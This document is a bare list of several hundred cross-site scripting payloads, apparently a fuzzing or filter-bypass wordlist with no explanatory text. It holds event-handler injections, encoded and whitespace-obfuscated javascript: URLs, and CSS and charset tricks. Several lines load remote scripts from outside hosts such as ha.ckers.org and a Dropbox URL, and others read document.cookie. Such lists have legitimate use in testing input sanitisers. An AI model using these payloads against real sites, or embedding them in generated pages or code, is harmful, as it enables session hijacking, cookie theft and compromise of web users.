<a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
`"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
`"'><img src=xxx:x \x22onerror=javascript:alert(1)>
`"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>
`"'><img src=xxx:x \x0Donerror=javascript:alert(1)>
`"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>
`"'><img src=xxx:x \x09onerror=javascript:alert(1)>
`"'><img src=xxx:x \x0Conerror=javascript:alert(1)>
`"'><img src=xxx:x \x00onerror=javascript:alert(1)>
`"'><img src=xxx:x \x27onerror=javascript:alert(1)>
`"'><img src=xxx:x \x20onerror=javascript:alert(1)>
"`'><script>\x3Bjavascript:alert(1)</script>
"`'><script>\x0Djavascript:alert(1)</script>
"`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>
"`'><script>\xE2\x80\x81javascript:alert(1)</script>
"`'><script>\xE2\x80\x84javascript:alert(1)</script>
"`'><script>\xE3\x80\x80javascript:alert(1)</script>
"`'><script>\x09javascript:alert(1)</script>
"`'><script>\xE2\x80\x89javascript:alert(1)</script>
"`'><script>\xE2\x80\x85javascript:alert(1)</script>
"`'><script>\xE2\x80\x88javascript:alert(1)</script>
"`'><script>\x00javascript:alert(1)</script>
"`'><script>\xE2\x80\xA8javascript:alert(1)</script>
"`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>
"`'><script>\xE1\x9A\x80javascript:alert(1)</script>
"`'><script>\x0Cjavascript:alert(1)</script>
"`'><script>\x2Bjavascript:alert(1)</script>
"`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
"`'><script>-javascript:alert(1)</script>
"`'><script>\x0Ajavascript:alert(1)</script>
"`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
"`'><script>\x7Ejavascript:alert(1)</script>
"`'><script>\xE2\x80\x87javascript:alert(1)</script>
"`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>
"`'><script>\xE2\x80\xA9javascript:alert(1)</script>
"`'><script>\xC2\x85javascript:alert(1)</script>
"`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
"`'><script>\xE2\x80\x83javascript:alert(1)</script>
"`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>
"`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>
"`'><script>\xE2\x80\x80javascript:alert(1)</script>
```

```
"`'><script>\x21javascript:alert(1)</script>
"`'><script>\xE2\x80\x82javascript:alert(1)</script>
"`'><script>\xE2\x80\x86javascript:alert(1)</script>
"`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
"`'><script>\x0Bjavascript:alert(1)</script>
"`'><script>\x20javascript:alert(1)</script>
"`'><script>\xC2\xA0javascript:alert(1)</script>
"/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />
"/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />
"/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x />
"/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x />
"/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x />
"/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x />
"/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x />
"/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x />
"/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />
<script\x2F>javascript:alert(1)</script>
<script\x20>javascript:alert(1)</script>
<script\x0D>javascript:alert(1)</script>
<script\x0A>javascript:alert(1)</script>
<script\x0C>javascript:alert(1)</script>
<script\x00>javascript:alert(1)</script>
<script\x09>javascript:alert(1)</script>
"><img src=x onerror=javascript:alert(1)>
"><img src=x onerror=javascript:alert('1')>
"><img src=x onerror=javascript:alert("1")>
"><img src=x onerror=javascript:alert(`1`)>
"><img src=x onerror=javascript:alert(('1'))>
"><img src=x onerror=javascript:alert(("1"))>
"><img src=x onerror=javascript:alert((`1`))>
"><img src=x onerror=javascript:alert(A)>
"><img src=x onerror=javascript:alert((A))>
"><img src=x onerror=javascript:alert(('A'))>
"><img src=x onerror=javascript:alert('A')>
"><img src=x onerror=javascript:alert(("A"))>
"><img src=x onerror=javascript:alert("A")>
"><img src=x onerror=javascript:alert((`A`))>
"><img src=x onerror=javascript:alert(`A`)>
`"'><img src=xxx:x onerror\x0B=javascript:alert(1)>
`"'><img src=xxx:x onerror\x00=javascript:alert(1)>
`"'><img src=xxx:x onerror\x0C=javascript:alert(1)>
`"'><img src=xxx:x onerror\x0D=javascript:alert(1)>
`"'><img src=xxx:x onerror\x20=javascript:alert(1)>
`"'><img src=xxx:x onerror\x0A=javascript:alert(1)>
`"'><img src=xxx:x onerror\x09=javascript:alert(1)>
<script>javascript:alert(1)<\x00/script>
<img src=# onerror\x3D"javascript:alert(1)" >
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
<video poster=javascript:javascript:alert(1)//
<body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><b
<form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X
<video><source onerror="javascript:javascript:alert(1)">
<video onerror="javascript:javascript:alert(1)"><source>
<form><button formaction="javascript:javascript:alert(1)">X
<body oninput=javascript:alert(1)><input autofocus>
<math href="javascript:javascript:alert(1)">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" x
<frameset onload=javascript:alert(1)>
<table background="javascript:javascript:alert(1)">
<!--<img src="--><img src=x onerror=javascript:alert(1)//">
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
<![><img src="]><img src=x onerror=javascript:alert(1)//">
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibil
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT
<object data="data:text/html;base64,%(base64)s">
<embed src="data:text/html;base64,%(base64)s">
```

```
<b <script>alert(1)</script>0
<div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElement
<x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'>
<embed src="javascript:alert(1)">
<img src="javascript:alert(1)">
<image src="javascript:alert(1)">
<script src="javascript:alert(1)">
<div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x
<? foo="><script>javascript:alert(1)</script>">
<! foo="><script>javascript:alert(1)</script>">
</ foo="><script>javascript:alert(1)</script>">
<? foo="><x foo='?><script>javascript:alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>">
<% foo><x foo="%><script>javascript:alert(1)</script>">
<div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
<img \x00src=x onerror="alert(1)">
<img \x47src=x onerror="javascript:alert(1)">
<img \x11src=x onerror="javascript:alert(1)">
<img \x12src=x onerror="javascript:alert(1)">
<img\x47src=x onerror="javascript:alert(1)">
<img\x10src=x onerror="javascript:alert(1)">
<img\x13src=x onerror="javascript:alert(1)">
<img\x32src=x onerror="javascript:alert(1)">
<img\x47src=x onerror="javascript:alert(1)">
<img\x11src=x onerror="javascript:alert(1)">
<img \x47src=x onerror="javascript:alert(1)">
<img \x34src=x onerror="javascript:alert(1)">
<img \x39src=x onerror="javascript:alert(1)">
<img \x00src=x onerror="javascript:alert(1)">
<img src\x09=x onerror="javascript:alert(1)">
<img src\x10=x onerror="javascript:alert(1)">
<img src\x13=x onerror="javascript:alert(1)">
<img src\x32=x onerror="javascript:alert(1)">
<img src\x12=x onerror="javascript:alert(1)">
<img src\x11=x onerror="javascript:alert(1)">
<img src\x00=x onerror="javascript:alert(1)">
<img src\x47=x onerror="javascript:alert(1)">
<img src=x\x09onerror="javascript:alert(1)">
<img src=x\x10onerror="javascript:alert(1)">
<img src=x\x11onerror="javascript:alert(1)">
<img src=x\x12onerror="javascript:alert(1)">
<img src=x\x13onerror="javascript:alert(1)">
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
<img src=x onerror=\x09"javascript:alert(1)">
<img src=x onerror=\x10"javascript:alert(1)">
<img src=x onerror=\x11"javascript:alert(1)">
<img src=x onerror=\x12"javascript:alert(1)">
<img src=x onerror=\x32"javascript:alert(1)">
<img src=x onerror=\x00"javascript:alert(1)">
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>
<img src="x` `<script>javascript:alert(1)</script>"` `>
<img src onerror /" '"= alt=javascript:alert(1)//">
<title onpropertychange=javascript:alert(1)></title><title title=>
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
<!--[if]><script>javascript:alert(1)</script -->
<!--[if<img src=x onerror=javascript:alert(1)//]> -->
<script src="/\%(jscript)s"></script>
<script src="\\%(jscript)s"></script>
<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23
<a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X
<style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style>
<link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d
<style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style>
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a><
<style>*[{}@import'%(css)s?]</style>X
<div style="font-family:'foo&#10;;color:red;';">XXX
<div style="font-family:foo}color=red;">XXX
<// style=x:expression\28javascript:alert(1)\29>
<style>*{x:■■■■■■■■■■(javascript:alert(1))}</style>
```

```
<div style=content:url(%(svg)s)></div>
<div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X
<div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))
<div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X
<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
<div id="x">XXX</div> <style>  #x{font-family:foo[bar;color:green;}  #y];color:red;{}  </style>
<x style="background:url('x&#1;;color:red;/*')">XXX</x>
<script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>
<script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>
<meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAd
<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
<meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾
X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt
1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;im
<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100%
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript
<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a>
<x style="behavior:url(%(sct)s)">
<xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>
<event-source src="%(event)s" onload="javascript:alert(1)">
<a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeN
<script>%(payload)s</script>
<script src=%(jscript)s></script>
<script language='javascript' src='%(jscript)s'></script>
<script>javascript:alert(1)</script>
<IMG SRC="javascript:javascript:alert(1);">
<IMG SRC=javascript:javascript:alert(1)>
<IMG SRC=`javascript:javascript:alert(1)`>
<SCRIPT SRC=%(jscript)s?<B>
<FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET>
<BODY ONLOAD=javascript:alert(1)>
<BODY ONLOAD=javascript:javascript:alert(1)>
<IMG SRC="jav ascript:javascript:alert(1);">
<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)>
<SCRIPT/SRC="%(jscript)s"></SCRIPT>
<<SCRIPT>%(payload)s//<</SCRIPT>
<IMG SRC="javascript:javascript:alert(1)"
<iframe src=%(scriptlet)s <
<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);">
<IMG DYNSRC="javascript:javascript:alert(1)">
<IMG LOWSRC="javascript:javascript:alert(1)">
<BGSOUND SRC="javascript:javascript:alert(1);">
<BR SIZE="&{javascript:alert(1)}">
<LAYER SRC="%(scriptlet)s"></LAYER>
<LINK REL="stylesheet" HREF="javascript:javascript:alert(1);">
<STYLE>@import'%(css)s';</STYLE>
<META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
<XSS STYLE="behavior: url(%(htc)s);">
<STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);">
<IFRAME SRC="javascript:javascript:alert(1);"></IFRAME>
<TABLE BACKGROUND="javascript:javascript:alert(1)">
<TABLE><TD BACKGROUND="javascript:javascript:alert(1)">
<DIV STYLE="background-image: url(javascript:javascript:alert(1))">
<DIV STYLE="width:expression(javascript:alert(1));">
<IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))">
<XSS STYLE="xss:expression(javascript:alert(1))">
<STYLE TYPE="text/javascript">javascript:alert(1);</STYLE>
<STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE>
<!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->
<BASE HREF="javascript:javascript:alert(1);//">
<OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJEC
```

```
<HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#defa
<SCRIPT SRC="%(jpg)s"></SCRIPT>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRI
<form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X
<body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)">
<STYLE>@import'%(css)s';</STYLE>
<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE>
<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>
<SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>
<style onreadystatechange=javascript:javascript:alert(1);></style>
<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:scrip
<embed code=%(scriptlet)s></embed>
<embed code=javascript:javascript:alert(1);></embed>
<embed src=%(jscript)s></embed>
<frameset onload=javascript:javascript:alert(1)></frameset>
<object onerror=javascript:javascript:alert(1)>
<embed type="image" src=%(scriptlet)s></embed>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml>
<IMG SRC=&{javascript:alert(1);};>
<a href="jav&#65ascript:javascript:alert(1)">test1</a>
<a href="jav&#97ascript:javascript:alert(1)">test1</a>
<embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(1)&amp;gt;>">
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
<IMG SRC=" &#14;  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
\";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:[code]">
<BODY ONLOAD=alert('XSS')>
```

```
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\006
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<BASE HREF="javascript:alert('XSS');//">
 <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
 <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SC
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
<iframe  src="&Tab;javascript:prompt(1)&Tab;">
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<sVg><scRipt >alert&lpar;1&rpar; {Opera}
<img/src=`` onerror=this.onerror=confirm(1)
<form><isindex formaction="javascript&colon;confirm(1)"
<img src=``&NewLine; onerror=alert(1)&NewLine;
<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<script /**/>/**/alert(1)/**/</script /**/
&#34;&#62;<h1/onmouseover='\u0061lert(1)'>
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
```

```
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert&#x28;1&#x29;">X
</script><img/*/src="worksinchrome&colon;prompt&#x28;1&#x29;"/*/onerror='eval(src)'>
<img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11
http://www.google<script .com>alert(document.location)</script
<a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
<img/src=@&#32;&#13; onerror = prompt('&#49;')
<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
<script ^__^>alert(String.fromCharCode(49))</script ^__^
</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
&#00;</form><input type&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe// src=javaSCRIPT&colon;alert(1)
//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
<a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
</plaintext\></|\><plaintext/onmouseover=prompt(1)
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
<img src="/" =_=" title="onerror='prompt(1)'">
<%<!--'%><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src \/\/onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
